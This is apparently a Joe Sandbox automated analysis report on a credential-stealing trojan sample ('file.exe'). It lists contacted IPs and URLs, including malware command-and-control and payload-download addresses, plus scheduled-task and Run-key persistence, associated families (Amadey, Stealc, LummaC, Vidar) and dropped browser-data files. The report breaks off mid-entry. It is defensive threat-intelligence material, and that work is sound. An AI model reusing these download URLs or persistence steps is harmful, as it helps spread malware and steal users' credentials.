http://185.215.113.16/luma/random.exe	skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2700622606.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com	000003.log8.9.dr	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php3	skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-staging.corp.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.206/M	file.exe, 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.1834499760.000000000120A000.00000004.00000020.00020000.00000000.sdmp, CFIEHCFI.0.dr, Web Data.9.dr, IJKKKFCF.0.dr	false		high
http://31.41.244.11/files/random.exe506239Cd	skotes.exe, 0000001C.00000002.2700622606.0000000000B59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://apis.google.com	chromecache_484.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.25.227.174	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.32.99.21	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
108.139.47.92	unknown	United States	16509	AMAZON-02US	false
104.117.182.25	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.203.86	unknown	United States	20940	AKAMAI-ASN1EU	false
62.76.234.151	home.fvtejj5vs.top	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false
142.250.185.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
142.250.186.78	plus.l.google.com	United States	15169	GOOGLEUS	false
23.200.88.26	unknown	United States	16625	AKAMAI-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.168.117.168	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
23.200.88.15	unknown	United States	16625	AKAMAI-ASUS	false
23.44.203.68	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.8
192.168.2.6
127.0.0.1
192.168.2.23

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558699
Start date and time:	2024-11-19 17:59:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@77/357@32/31
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.212.131, 216.58.206.78, 64.233.184.84, 34.104.35.123, 172.217.18.3, 142.250.185.138, 142.250.181.234, 142.250.184.234, 216.58.212.138, 142.250.185.106, 216.58.206.42, 142.250.185.202, 142.250.185.170, 142.250.186.74, 172.217.16.138, 142.250.186.42, 172.217.18.106, 142.250.186.138, 142.250.185.74, 142.250.185.234, 216.58.206.74, 217.20.57.18, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 216.58.212.142, 13.107.6.158, 2.19.126.143, 2.19.126.152, 20.82.9.214, 88.221.110.195, 88.221.110.179, 2.23.209.183, 2.23.209.177, 2.23.209.189, 2.23.209.130, 2.23.209.176, 2.23.209.133, 2.23.209.185, 2.23.209.182, 2.23.209.179, 2.23.209.149, 2.23.209.156, 2.23.209.158, 2.23.209.160, 2.23.209.161, 2.23.209.144, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.44, 2.23.209.49, 2.23.209.43, 2.23.209.42, 2.23.209.40, 2.23.209.46, 2.23.209.47, 2.23.209.45, 2.23.209.48, 2.23.209.187, 2.19.126.151, 2.19.126.157, 192.229.221.95, 217.20.57.19, 199.232.210.172, 2.23.20
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microso
Execution Graph export aborted for target DocumentsKKEHIEBKJK.exe, PID 9132 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8532 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8876 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:00:45	API Interceptor	39x Sleep call for process: file.exe modified
12:02:01	API Interceptor	166x Sleep call for process: skotes.exe modified
18:00:56	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
18:02:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7255bf1ad0.exe C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe
18:02:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7255bf1ad0.exe C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Ailurophile Stealer, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
20.25.227.174	FRSSDE.exe	Get hash	malicious	Remcos	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Unpacker.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	172.64.41.3
	exe004(1).exe	Get hash	malicious	Ramnit	Browse	162.159.61.3
	Dell-Command-Update-Windows-Universal-Application_9M35M_WIN_5.4.0_A00.EXE	Get hash	malicious	Unknown	Browse	172.64.41.3
	#U65b0#U7248#U7f51#U5173.exe	Get hash	malicious	Bdaejec, Neshta, Ramnit	Browse	162.159.61.3
	#U8865#U4e01#U6253#U5305.exe	Get hash	malicious	Bdaejec, Neshta, Ramnit	Browse	162.159.61.3
	#U8865#U4e01#U6253#U5305Srv.exe	Get hash	malicious	Neshta, Ramnit	Browse	162.159.61.3
	#U65b0#U7248#U7f51#U5173Srv.exe	Get hash	malicious	Bdaejec, Neshta, Ramnit	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
play.google.com	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	142.250.186.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	142.250.181.238
	file.exe	Get hash	malicious	Unknown	Browse	142.250.185.206
	file.exe	Get hash	malicious	LummaC, Ailurophile Stealer, Amadey, LummaC Stealer, Stealc	Browse	142.250.185.174
	https://whimsical.com/project-960-2024-doc-KUa9Z37ZsDmpPxB99pof8A	Get hash	malicious	Unknown	Browse	142.250.186.110
	https://www.dropbox.com/l/scl/AACfaxhMBCajpVJfxiny0jrZK6hv1s8xd2M	Get hash	malicious	Unknown	Browse	172.217.18.14
	file.exe	Get hash	malicious	Cryptbot	Browse	142.250.186.78
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	142.250.186.174
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	142.250.181.238
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.185.206

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://nam.dcv.ms/WLtyQ3priB	Get hash	malicious	HTMLPhisher	Browse	13.107.253.70
	http://itrack4.valuecommerce.ne.jp/cgi-bin/2366370/entry.php?vc_url=http://serviceoctopus.com	Get hash	malicious	HTMLPhisher	Browse	13.107.6.156
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	f5dc5302-022c-8bef-7a8e-e20ea821f59b.eml	Get hash	malicious	HTMLPhisher	Browse	52.109.76.243
	eek call.eml	Get hash	malicious	Unknown	Browse	13.107.246.45
	FjMBwo1meU.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	Q8HK7lRhug.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	phish_alert_sp2_2.0.0.0 (7).eml	Get hash	malicious	Unknown	Browse	20.44.10.122
AMAZON-02US	http://itrack4.valuecommerce.ne.jp/cgi-bin/2366370/entry.php?vc_url=http://serviceoctopus.com	Get hash	malicious	HTMLPhisher	Browse	54.168.53.246
	mmb3.elf	Get hash	malicious	Mirai, Okiru	Browse	34.249.145.219
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	18.238.49.52
	dvwkja7.elf	Get hash	malicious	Mirai	Browse	54.247.62.1
	wnbw86.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	vqsjh4.elf	Get hash	malicious	Mirai	Browse	54.217.10.153
	jwwofba5.elf	Get hash	malicious	Mirai	Browse	54.247.62.1
	qkehusl.elf	Get hash	malicious	Mirai	Browse	34.243.160.129
	wriww68k.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	https://uxfol.io/p/7d34b6df/0299cc7b	Get hash	malicious	Unknown	Browse	76.223.11.49
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://nam.dcv.ms/WLtyQ3priB	Get hash	malicious	HTMLPhisher	Browse	13.107.253.70
	http://itrack4.valuecommerce.ne.jp/cgi-bin/2366370/entry.php?vc_url=http://serviceoctopus.com	Get hash	malicious	HTMLPhisher	Browse	13.107.6.156
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	f5dc5302-022c-8bef-7a8e-e20ea821f59b.eml	Get hash	malicious	HTMLPhisher	Browse	52.109.76.243
	eek call.eml	Get hash	malicious	Unknown	Browse	13.107.246.45
	FjMBwo1meU.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	Q8HK7lRhug.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	phish_alert_sp2_2.0.0.0 (7).eml	Get hash	malicious	Unknown	Browse	20.44.10.122

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 172.202.163.200 20.190.160.17 184.28.90.27 13.85.23.206
	https://google.com/amp/s/storage.googleapis.com/49849844877/j0htjd3c57qbxqo95o8y8539efonkjievx55ax9wajxz4bsbs0i-sele6jz88a1rq45sxfmxy9judtbr3v3hrgryrc2p8a.html	Get hash	malicious	Unknown	Browse	4.175.87.197 172.202.163.200 20.190.160.17 184.28.90.27 13.85.23.206
	file.exe	Get hash	malicious	Remcos	Browse	4.175.87.197 172.202.163.200 20.190.160.17 184.28.90.27 13.85.23.206
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	4.175.87.197 172.202.163.200 20.190.160.17 184.28.90.27 13.85.23.206
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 172.202.163.200 20.190.160.17 184.28.90.27 13.85.23.206
	Ref#501032.vbe	Get hash	malicious	MassLogger RAT	Browse	4.175.87.197 172.202.163.200 20.190.160.17 184.28.90.27 13.85.23.206
	EIR5pTRn9R.exe	Get hash	malicious	DragonForce	Browse	4.175.87.197 172.202.163.200 20.190.160.17 184.28.90.27 13.85.23.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 172.202.163.200 20.190.160.17 184.28.90.27 13.85.23.206
	WordPicture.exe	Get hash	malicious	Unknown	Browse	4.175.87.197 172.202.163.200 20.190.160.17 184.28.90.27 13.85.23.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 172.202.163.200 20.190.160.17 184.28.90.27 13.85.23.206
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	EIR5pTRn9R.exe	Get hash	malicious	DragonForce	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Ailurophile Stealer, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Ailurophile Stealer, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAFHIIDHJEBFBFIDAKFBAFCBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAKEBAFIIECBGCAAAAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFIEHCFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2648492077797926
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM1SAELyKOMq+8QTQKC+CVumx:K0q+n0J19ELyKOMq+8Q7K
MD5:	BD3EA4449660DFE0609F11FFAE5BECE7
SHA1:	F76B58E8A8D317A4BDB5B97D25C58F853088AACD
SHA-256:	7196B41CDC8AE2BFA161713B2F9D2DA5EAD548886FDA2920FFF43B544BE70196
SHA-512:	C1A8BDADF0E1DEFCEBCC64C80387CDD1E61321B59878F0B236ADAE314B1210893587D5B45C73EAAE085EA96EBA216D84A2A9769D815F509A83821EFEC1336E3E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBAAAKFCAFIIDHIDGHIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHCGCFHDHIIIDGCAAEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IJKKKFCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
